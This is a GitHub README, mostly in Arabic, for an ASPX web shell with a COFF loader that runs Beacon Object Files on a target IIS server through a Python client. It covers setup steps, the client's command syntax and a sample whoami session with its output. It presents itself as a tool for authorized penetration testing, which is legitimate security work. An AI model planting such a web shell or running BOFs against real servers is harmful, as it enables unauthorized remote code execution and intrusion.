epotseluevskaya/aspx_webshell_coffloaderASPX web shell مع محمل COFF لتنفيذ Beacon Object Files (BOFs) على الخوادم المستهدفة عبر عميل Python شبه تفاعلي، مصمم لاختبار الاختراق المصرح به.
مبنية على CS_COFFLoader من TrustedSec
تمكن قشرة الويب ASPX هذه من تنفيذ ملفات كائنات المنارة (BOFs) على خادم مستهدف باستخدام عميل بايثون شبه تفاعلي.
تستفيد من تنفيذ محمّل COFF المستمد من CS_COFFLoader من TrustedSec.
هذا المشروع مخصص بشكل صارم للبحث الأمني واختبار الاختراق المصرح به. باستخدام هذا المشروع، أنت توافق على الامتثال لجميع القوانين واللوائح المعمول بها.
قبل الاستخدام، ستحتاج إلى:
ترجمة beacon_compatibility.c من https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object، واستبدال العنصر النائب {{BEACON_DATA}} في ملف ASPX بملف الكائن المشفر بـ Base64.
ترجمة ملفات BOF الخاصة بك، على سبيل المثال، من https://github.com/trustedsec/CS-Situational-Awareness-BOF، وتحديد المسار إلى الدليل الذي يحتوي على ملفات BOF المترجمة في عميل الويب.
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....